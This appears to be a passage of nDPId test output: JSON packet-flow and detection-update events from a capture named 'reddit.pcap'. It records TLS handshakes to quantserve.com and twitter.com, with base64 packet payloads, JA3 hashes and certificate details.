+00699{"flow_id":33,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3115,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":25072,"pkt_caplen":266,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":266,"pkt_l4_len":212,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAANQGPQBk\/5sAAAAAAAAAABc2hvEqAcsBIEmLB5kd7IUo3\/YpAbus6CNL8LBGO8qWgBgLMBR4AAABAQgKwtdAQ1HJMCHo3L5OFwMDAGFnpa9efBK27FTOo2bcWqyKvjzPykx9aWoPWSfIj5rQLBHGICzQSuv6HR54YvalrJ5FE0uJKXw7SSb+IQPVJVWqa8tDMIsKBYjWTRHtSKBCzGhuH4vGmGfJEX0feYTzpPPdFwMDAEWyfdrJIh8ybuZI2kcrCpSYZYxLIxjhtCWTtQ9cYKVgr5jLNmGlKHgxaWJWEFx\/Qfp2s966SbOGX61NEnen+TUQptYsRI4="} +00455{"flow_id":31,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3117,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":25078,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCkMmACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBgAAAAAAACAO1k4Bu9FF1Py1Vk\/1gBAB9dlUAAABAQgKcJK4xMLXQEE="} +00454{"flow_id":31,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3118,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":25086,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCkMmACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBgAAAAAAACAO1k4Bu9FF1Py1VlStgBAB8tSfAAABAQgKcJK4xMLXQEE="} +00454{"flow_id":31,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3119,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":25091,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCkMmACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBgAAAAAAACAO1k4Bu9FF1Py1VlV1gBAB8dPYAAABAQgKcJK4xMLXQEE="} +00453{"flow_id":33,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3120,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":25118,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gA0MZACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAXNobxrOgBu0Y7ypYjS+tEgBAB8T5oAAABAQgKUckwU8LXQEM="} +00455{"flow_id":33,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3121,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":25122,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gA0MZACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAXNobxrOgBu0Y7ypYjS\/CwgBAB5zkGAAABAQgKUckwU8LXQEM="} +00455{"flow_id":33,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3122,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":25124,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gA0MZACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAXNobxrOgBu0Y7ypYjS\/FkgBAB5jhTAAABAQgKUckwU8LXQEM="} +00540{"flow_id":31,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3124,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":28675,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gCkMmAGAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBgAAAAAAACAO1k4Bu9FF1Py1VlV1gBgB9bbYAAABAQgKcJK4x8LXQEEUAwMAAQEXAwMANfpQu8xk8zyNblZs3IHMorVGv3IB26ltGRnX+fscAZlJD0iWK+RIGlbPoduVx3BmexD4lZFk"} +00568{"flow_id":33,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3125,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":29535,"pkt_caplen":166,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":166,"pkt_l4_len":112,"pkt":"qtsDr8lk5EKm5WPyht1gA0MZAHAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAXNobxrOgBu0Y7ypYjS\/FkgBgB9VNaAAABAQgKUckwV8LXQEMUAwMAAQEXAwMARSsZCHMBkVuqax2fP0MlAzWGM\/INMirxjZgerlnFD\/HXu9993iEbSIQ2KZjMlR7KnSQKwvF5isN3VMVrc7ZoDIMMC79Wxw=="} +00583{"flow_id":31,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3126,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":30718,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gCkMmAHwGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBgAAAAAAACAO1k4Bu9FF1Ty1VlV1gBgB9TghAAABAQgKcJK4ycLXQEEXAwMAV6IwUuKlNwcFIN5JinvDvs5wyYI8Vf1K2pqctiTv7HAw\/ZgkIfR30nMw1yo5oIiRZ5cSlU3\/5hcXggQjPTFnIT4k0QV+w1JWfdVv4ECphPEuFwmUmGkSIg=="} +01162{"flow_id":33,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3127,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":31009,"pkt_caplen":608,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":608,"pkt_l4_len":554,"pkt":"qtsDr8lk5EKm5WPyht1gA0MZAioGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAXNobxrOgBu0Y7yuYjS\/FkgBgB9Vr0AAABAQgKUckwWMLXQEMXAwMCBdw9YPyptpUaPrvKXAia3WKdhxG3zwg0P6dw+SNWe27ET0dYGzK\/Zsa5BrcHi55wY5dT0gjkBtUm7iIAV1V+HpoK2kohrkXArOPR4DNPL\/5g72AXP4CIKcbUP9WcowBKdCydsWHWbIc\/O6Iix6COL1rk43PiNLDQbKcxCcoxsphBa1Vlyy7kdSITfFHXywmm4c3Ri82Lgp7hjo\/0vmKKg9baKer6SPkyK19MDfQ0bBpCLC0MJX2v0SrfgAjFHbVZiEaqW2HfPGefLKZIsnXLTIBmUUXF3cb5Li18lPTdEklYN2n0B0ND8LRXY3CCFtHC4ZGivJqoddRd3AeBYFqMiELgjnMrIxMZW6bRgiTBxe0nlEiNGb8c\/NzxA1br2krw+J8+V8mrggC9JD3lVhVcD14Nq8UkVH712hTB39AyhBm2yip+lmGnN4snUsquG2kOlzNHVS6rP7sMP9LnPkMTRFXNhSSFef+\/eDypsaHUpt3seXDOtxr4DaoZO92xLslr7TiW1hfmJMeE\/RpQYph2P2m6B+66jlvhwitJDbRdSRjf0OBOUYfjaUkQs7huNsu3QRqowkwXIXSfSTdTVBvTITlvdJsiIEN766V0CoTBHwyvaad37U02GfI80thwzympZpkNraCBW5GAVVdg4PtEkHQ9BdhimDr\/2fzBLLHcNXRNPuinI84="} +02320{"flow_id":32,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3144,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":36417,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSYgARaADQAh+RZQSfh\/EI4qAcsBIEmLB5kd7IUo3\/YpAbu+CLYiE5bSRupQgBgLMAkxAAABAQgKwtdAUNeKYqQWAwMASgIAAEYDA5hs1RS1r3hoIUTUe\/Np5sVzJ5mEFtISYKb1UBid74JvAMAvAAAeAAAAAP8BAAEAAAsABAMAAQIAIwAAABAABQADAmgyFgMDC3ULAAtxAAtuAAazMIIGrzCCBZegAwIBAgIQBCsCdIn4IMOaHu0hIfUKPzANBgkqhkiG9w0BAQsFADBwMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMS8wLQYDVQQDEyZEaWdpQ2VydCBTSEEyIEhpZ2ggQXNzdXJhbmNlIFNlcnZlciBDQTAeFw0yMDEwMDIwMDAwMDBaFw0yMTEwMDcxMjAwMDBaMHUxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMR4wHAYDVQQKExVRdWFudGNhc3QgQ29ycG9yYXRpb24xGTAXBgNVBAMMECoucXVhbnRzZXJ2ZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCqGTX0jadssR6ED2H16VJWjPQW\/BuyH86LOqrNUs0NlHM4ihfiYKKZ4ilqRvk5sJ+zAaEKOXD4\/RAOH4myfslDAKTSE\/uofcoHIT6uKju1rHsbXqDabgczg6GBGngeiCWWzb6n7XsnJCyGFkcb3mgIwPn9TQjQsVDQp3vDoWsiN\/7CoNM7K3OYUQqucNMYXoHHOS2dEamKHkw0G9CpMUCWCTnDuS5CAIP3PUicCumqL+zQwt78nBZ\/2WWYYNQ3IQNzG6BBtgNXlAOo5IDzx9wgMSuS3O6xlcfM4r3Ez7kguCwyHqAs3kBmn190hgjvVH0eZQDw1FbKe5NM0KOiSY29AgMBAAGjggM+MIIDOjAfBgNVHSMEGDAWgBRRaP+QrwIHdTzM2WVkYqISuFlyOzAdBgNVHQ4EFgQUNKGiZtz+BH59Z4aFJhevAt2WhcMwaQYDVR0RBGIwYIIQKi5xdWFudHNlcnZlLmNvbYIQKi5xdWFudGNvdW50LmNvbYINKi5hcGV4dGFnLmNvbYIOcXVhbnRzZXJ2ZS5jb22CDnF1YW50Y291bnQuY29tggthcGV4dGFnLmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMHUGA1UdHwRuMGwwNKAyoDCGLmh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwNKAyoDCGLmh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwgYMGCCsGAQUFBwEBBHcwdTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tME0GCCsGAQUFBzAChkFodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEySGlnaEFzc3VyYW5jZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAF06xohQwAABAMARzBFAiEAj1FrlzEObHNQMKLAmw9ccGe8TtS9c\/m7pBtKaqouMh8CIHx9UWPVHw=="} +00891{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3144,"source":"reddit.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":6,"flow_first_seen":1605291687933,"flow_last_seen":1605291688036,"flow_tot_l4_data_len":2113,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":352,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2620:116:800d:21:f916:5049:f87f:108e","src_port":48648,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"secure.quantserve.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"b898351eb5e266aefd3723d466935494","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02329{"flow_id":32,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3146,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":36418,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSYgARaADQAh+RZQSfh\/EI4qAcsBIEmLB5kd7IUo3\/YpAbu+CLYiGQLSRupQgBgLMJAQAAABAQgKwtdAUNeKYqSXoUznqkrCvk+vUtKwuFIbQl2c\/xdthAAanwB1AFzcQ5L+5qtFRLFemtRW5hA3+9X6R9yhc5SyXub2xw7KAAABdOsaIZIAAAQDAEYwRAIgR+LGQ5\/IKptAkacUTdQjYEkY2fMRgqAmGMmKZ68Yg8kCIAxH1k4k+NKk5WfwPZi4bO3veBMGYEaWbK7XxDTUoK8AMA0GCSqGSIb3DQEBCwUAA4IBAQCURI1m6SutZfQnPTN5e51IwijO0RaZu6TVEwVA3QXiQ3EvQq83IE3EVUUZ0JOTih6\/XltmTldMx5Kl09DAosyhZlXHvSBo6GYI6YgsLet9in5+O8Bmli7lYi+b386Myt4JDLHXNVpPS4V0R2dG+6U89UeaOr6FdlZx91l4y+ABCyuh4+pAsEOHYNl2TkIoTkKgP2ssrSH5vXiFGx1u+\/\/3KY7NplpCzG3tji5VPEUm8ci++JZ5ZEKUTPDp4l4u82tzwXqOV51gsbttjgwwxnooscx6tX7CTTMolmGlFrNJDNvk+i8dKeZoClvZzU+0+PXorhusNa6Jt2eNZJ\/B6j1PAAS1MIIEsTCCA5mgAwIBAgIQBOHnpNxc8vNtwCtCuF0VnzANBgkqhkiG9w0BAQsFADBsMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBFViBSb290IENBMB4XDTEzMTAyMjEyMDAwMFoXDTI4MTAyMjEyMDAwMFowcDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTEvMC0GA1UEAxMmRGlnaUNlcnQgU0hBMiBIaWdoIEFzc3VyYW5jZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC24C\/CJAbIbQRf1+8KZAayfSImZRauQkCbztyfn3YHPsMwVYcZuU+UDlqUH1VWtMICKq\/QmO4LQNfE0DtyyBSe75CxEamu0si4QzrZCwvV1ZX1QK\/IHe1NnF9Xt4ZQaJn1itrSxwUfqJfJ3KSxgoQtxq2lnMcZgqaFD15EWCo3j\/018QsIJzJa9buLnqS9UdAn4t07QjOjBSjEuyjMmqwrIw14xnvmXnG3Sj4I+4G3FhahnSMSTeXXkgisdaScus0Xsh5ENWV\/UyU50RwKmmMbGZJ0aAo3wsJSSMs5WqK24V3B3aAguCGikyZvFEohQcftbZvySC\/zA\/WiaJJTL17jAgMBAAGjggFJMIIBRTASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wSwYDVR0fBEQwQjBAoD6gPIY6aHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUVWUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUUWj\/kK8CB3U8zNllZGKiErhZcjswHwYDVR0jBBgwFoAUsT7DaQP4v0cB1JgmGggC72NkK8MwDQYJKoZIhvcNAQELBQADggEBABiKlYkD5m3fXPwdaOpKjw=="} +01253{"flow_id":32,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3147,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":36418,"pkt_caplen":674,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":674,"pkt_l4_len":620,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAmwGPSYgARaADQAh+RZQSfh\/EI4qAcsBIEmLB5kd7IUo3\/YpAbu+CLYiHm7SRupQgBgLMFgmAAABAQgKwtdAUNeKYqSD1lEvjWtEFp6sY\/XSbmyEmYuqgXGEW+00TrC3eZIpzC2AavCOIOF5pP4DRxPq9YbKWXF99ASWa9NZWD3+0zElXBg4hKPmn4L9jFuYMU7NeJ4a\/YXLSaryJ4uZcvw+qtVBC9rVNqG\/HG5HSX9e2Uh8A9n9i0mgmCZCQOvWkhGkZApXVMT1HdYCXmus7sSAmhJy+laT1\/+\/MIUGML8Lf07\/VwWdJO2Fwyv7pnWorC0W7315J7Lrwp0LB+qqhdMBoyAoQVlDKNKB46r27Hs7d7ZAYoAFQUUB7xcGPt7AM5tn02EucofkafwSAFdAHnD1Hsm0FgMDAU0MAAFJAwAXQQRWwxTgaeRotOzUSO2eAfqy5HUGrmNY2RYMnvpcJJ++cK1s2I1my006FcHTO+ujePmXMGbvGXq6ehQgSUjLLS+MBgEBACYa5aPMv00vc4Ec5NbmYkHFx+1avPxnitx2KJFAq4OskMuo\/1w95dX0iciNqcs7JgWVWWNXkLGLRZy3tegjpzaoEWzbma2x8ytGogewM4zGnOSo8w3qPlrIbKQtf7xk\/ZXcmO4NoAmctaNI9c78f15gnnGBCZFzrRTiAPTU\/Zug03cWtjbWDsbbWD4CVFnCuLE0mbgt5HSgZW8ZoCD2WzFzMeb2Pz3Q+k4Ob6hPmN71f\/rkDio930mdP3jSXuOcKZEy0Sy90G9vPQNAGG30fzx25ncB6YGjlz1L1R2e\/74qjJSjQPsKg0BYNNjdW+qZjxaUlE3eccbeSDkDEHnIzTUWAwMABA4AAAA="} +01268{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3147,"source":"reddit.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":8,"flow_first_seen":1605291687933,"flow_last_seen":1605291688036,"flow_tot_l4_data_len":4153,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":519,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2620:116:800d:21:f916:5049:f87f:108e","src_port":48648,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"secure.quantserve.com","server_names":"*.quantserve.com,*.quantcount.com,*.apextag.com,quantserve.com,quantcount.com,apextag.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"b898351eb5e266aefd3723d466935494","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Quantcast Corporation, CN=*.quantserve.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"3A:30:B1:4A:CE:62:AF:55:B1:89:FF:0C:CB:69:E3:80:CB:B0:91:90"}} +00453{"flow_id":32,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3151,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":36432,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBZTsACAGQCoBywEgSYsHmR3shSjf9ikmIAEWgA0AIfkWUEn4fxCOvggBu9JG6lC2IhkCgBAB9azgAAABAQgK14pi4sLXQFA="} +00454{"flow_id":32,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3153,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":36448,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBZTsACAGQCoBywEgSYsHmR3shSjf9ikmIAEWgA0AIfkWUEn4fxCOvggBu9JG6lC2Ih5ugBAB8Kd5AAABAQgK14pi4sLXQFA="} +00454{"flow_id":32,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3154,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":36451,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBZTsACAGQCoBywEgSYsHmR3shSjf9ikmIAEWgA0AIfkWUEn4fxCOvggBu9JG6lC2IiC6gBAB7KUxAAABAQgK14pi4sLXQFA="} +00627{"flow_id":32,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3162,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":40331,"pkt_caplen":212,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":212,"pkt_l4_len":158,"pkt":"qtsDr8lk5EKm5WPyht1gBZTsAJ4GQCoBywEgSYsHmR3shSjf9ikmIAEWgA0AIfkWUEn4fxCOvggBu9JG6lC2IiC6gBgB9RmeAAABAQgK14pi5sLXQFAWAwMARhAAAEJBBDU74BzP7Q6RSVUWj9cO2lqHkgsYnntO0GBgQsjeKNHhq\/FvR0aI5ELRFHDlX\/LMaAcnsUWjczn1FadPzDGyymUUAwMAAQEWAwMAKAAAAAAAAAAAaH1na1yJCdmPc5LOW+GXQI2W4akRkKbxfXNj7hRma5U="} +00589{"flow_id":32,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3164,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":40696,"pkt_caplen":185,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":185,"pkt_l4_len":131,"pkt":"qtsDr8lk5EKm5WPyht1gBZTsAIMGQCoBywEgSYsHmR3shSjf9ikmIAEWgA0AIfkWUEn4fxCOvggBu9JG6s62IiC6gBgB9ZCCAAABAQgK14pi5sLXQFAXAwMAXgAAAAAAAAABhTe2kqaTLlAAr1bUYq0xjWqOf93ObH7BnPvCaaDcXr7U21czVub80rrckE2NlQCoHD7g9B+xs8G9tNwpWj4ElxeKVkwXL8dqAWqp8Dluss2bvuLPnXQ="} +00807{"flow_id":32,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3165,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":40821,"pkt_caplen":344,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":344,"pkt_l4_len":290,"pkt":"qtsDr8lk5EKm5WPyht1gBZTsASIGQCoBywEgSYsHmR3shSjf9ikmIAEWgA0AIfkWUEn4fxCOvggBu9JG6zG2IiC6gBgB9Sw8AAABAQgK14pi5sLXQFAXAwMA\/QAAAAAAAAAC9pMun1ZqAdTi1F1kreffo29Ey700P\/1LxMn1WNIVaNH360u7qDLCs\/IdEMxFqj6MX5gwsKWlJpCdeeb1mXwtDV43E67V7Hvk0e7+IeYzBlROgwWrNJnpq70HiOHdVMaUa+yyKyfdo6W2KeMEedpBecer6+JlP2GKN58yOO0v0\/1nrhSb\/FJkQdAEqYJc1NSpkT8E9wRtf+gNDwG00+IGUrl\/FfIaitfxPWUn+flW35wuLjHv5lngue8VUBVFqhFj61eBdi3zXrykyFq1Iqyo6fUrWlPwkDT0pXBFhMCB91j0RhGkwQR5JLSluMEyKzXvzAiPQxk="} +02329{"flow_id":29,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3171,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":46248,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAAGj0KsgqAcsBIEmLB5kd7IUo3\/YpAbvdzp1dXkX\/jDnJgBgLMClnAAABAQgKwtdAVk1+jXIWAwMARgIAAEIDA0EGNUiKAt7pqpIYVTSg1b142DjcfagHPa7RoVjNDPdfAMAvAAAa\/wEAAQAACwAEAwABAgAjAAAAEAAFAAMCaDIWAwMLxAsAC8AAC70ABwIwggb+MIIF5qADAgECAhAB36AC8MVTwy8rWtYjdFbqMA0GCSqGSIb3DQEBCwUAMHAxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xLzAtBgNVBAMTJkRpZ2lDZXJ0IFNIQTIgSGlnaCBBc3N1cmFuY2UgU2VydmVyIENBMB4XDTIwMDEwMjAwMDAwMFoXDTIwMTIyNDEyMDAwMFowgYMxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRYwFAYDVQQKEw1Ud2l0dGVyLCBJbmMuMQ0wCwYDVQQLEwRsb24zMSAwHgYDVQQDExdzeW5kaWNhdGlvbi50d2l0dGVyLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK0IUzWz0oNefou8gqWlT3VJSbRw59LAqWypMlSm7sz\/cGf70j5ZWejClXalDh9uGhcHH7SNg5KYz7YvKjkVlpNrNB05CzHCnbKfloFkvQ\/nSlD9VBLwN3AUBmoCdiFadGDuE8I14q5WblC6VX\/YCjOnzW7e9e7Vo5hjXm8\/n9cw8\/kzeVbz2AXnMYPGQXhl0WOHU8Mob7evmGAN5FT7KIL\/762d3Td0vuBghvBgZy\/PGyQtvW9ZQA5idrqUS90lp20rt9tQ\/nWx1\/+wEvLFB8+TcRzcy4Ax1\/yjAjKinx4bT7hz6jRQAcFCe3pkjT9ECsUsyppiNLtQuRAOZjGmqZECAwEAAaOCA34wggN6MB8GA1UdIwQYMBaAFFFo\/5CvAgd1PMzZZWRiohK4WXI7MB0GA1UdDgQWBBSt95I9bhf2K5GhxeCqT9RTr2H+RzCBpwYDVR0RBIGf